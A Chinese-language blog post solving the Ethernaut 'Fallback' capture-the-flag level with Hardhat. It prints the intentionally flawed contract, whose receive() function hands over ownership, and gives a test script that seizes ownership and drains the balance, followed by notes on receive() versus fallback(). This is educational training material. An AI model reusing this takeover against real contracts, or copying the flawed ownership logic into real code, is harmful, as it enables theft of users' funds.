{"content":{"title":"用Hardhat闯关Ethernaut题1-fallback","body":"# Fallback合约\r\n```\r\n// SPDX-License-Identifier: MIT\r\npragma solidity ^0.6.0;\r\n\r\nimport \"@openzeppelin/contracts/math/SafeMath.sol\";\r\nimport \"hardhat/console.sol\";\r\n\r\ncontract Fallback {\r\n    using SafeMath for uint256;\r\n    mapping(address => uint256) public contributions;\r\n    address payable public owner;\r\n\r\n    constructor() public {\r\n        owner = msg.sender;\r\n        contributions[msg.sender] = 1000 * (1 ether);\r\n    }\r\n\r\n    modifier onlyOwner() {\r\n        require(msg.sender == owner, \"caller is not the owner\");\r\n        _;\r\n    }\r\n\r\n    function contribute() public payable {\r\n        require(msg.value < 0.001 ether);\r\n        contributions[msg.sender] += msg.value;\r\n        if (contributions[msg.sender] > contributions[owner]) {\r\n            owner = msg.sender;\r\n        }\r\n    }\r\n\r\n    function getContribution() public view returns (uint256) {\r\n        return contributions[msg.sender];\r\n    }\r\n\r\n    function withdraw() public onlyOwner {\r\n        owner.transfer(address(this).balance);\r\n    }\r\n\r\n    receive() external payable {\r\n        console.log(\"Received Ether\");\r\n        require(msg.value > 0 && contributions[msg.sender] > 0);\r\n        owner = msg.sender;\r\n    }\r\n}\r\n```\r\n这道题目比较简单，挑战将合约的owner变为自己的地址，然后调用withdraw函数，将所有的balance转到owner地址里面：\r\n\r\n## 解题思路：\r\n1.调用contribute函数；\r\n2.发送ETH到合约地址，使  `require(msg.value > 0 && contributions[msg.sender] > 0)`条件成立；\r\n3.调用withdraw函数；\r\n\r\n## 测试代码：\r\n\r\n```\r\nconst { expect } = require(\"chai\");\r\nconst { ethers } = require(\"hardhat\");\r\nconst { MaxUint256 } = require(\"@ethersproject/constants\");\r\nconst { BigNumber } = require(\"ethers\");\r\n\r\ndescribe(\"RebaseDividendToken Token Test\", function () {\r\n    var Fallback;\r\n    it(\"init params\", async function () {\r\n        [deployer, ...users] = await ethers.getSigners();\r\n    });\r\n    it(\"fallback deploy\", async function () {\r\n        const FallbackInstance = await ethers.getContractFactory(\"Fallback\");\r\n        Fallback = await FallbackInstance.deploy();\r\n    });\r\n    it(\"hack test\", async function () {\r\n        await Fallback.connect(users[0]).contribute({ value: 0.00001 * 10 ** 18 });\r\n\r\n        expect(await Fallback.contributions(users[0].address)).to.greaterThan(0);\r\n\r\n        await users[0].sendTransaction({\r\n            to: Fallback.address,\r\n            value: 1,\r\n        });\r\n\r\n        expect(await Fallback.owner()).to.equal(users[0].address);\r\n\r\n        await Fallback.connect(users[0]).withdraw();\r\n\r\n        expect(await ethers.provider.getBalance(Fallback.address)).to.equal(0);\r\n    });\r\n});\r\n\r\n```\r\n\r\n## 测试结果通过：\r\n![image.png](https://img.learnblockchain.cn/attachments/2022/09/m0VMFkXY631816b4ce121.png)\r\n\r\n## **题后总结：**\r\nreceive函数的作用，执行机制以及和fallback的区别？\r\nreceive和fallback的区别：\r\n\r\n```触发fallback() 还是 receive()?\r\n           接收ETH\r\n              |\r\n         msg.data是空？\r\n            /  \\\r\n          是    否\r\n          /      \\\r\nreceive()存在?   fallback()\r\n        / \\\r\n       是  否\r\n      /     \\\r\nreceive()   fallback()\r\n```\r\n合约接收ETH时，msg.data为空且存在receive()时，会触发receive()；msg.data不为空或不存在receive()时，会触发fallback()，此时fallback()必须为payable。\r\nreceive()和payable fallback()均不存在的时候，向合约发送ETH将会报错。\r\n\r\nhardhat连载测试仓库：[Github](https://github.com/Verin1005/Hardhat-Ethernaut)"},"author":{"user":"https://learnblockchain.cn/people/4922","address":null},"history":"QmPP5B1qoqK4xFNVcSZjKASZCxTUyDbBfySNxW6JkdLdip","timestamp":1668568785,"version":1}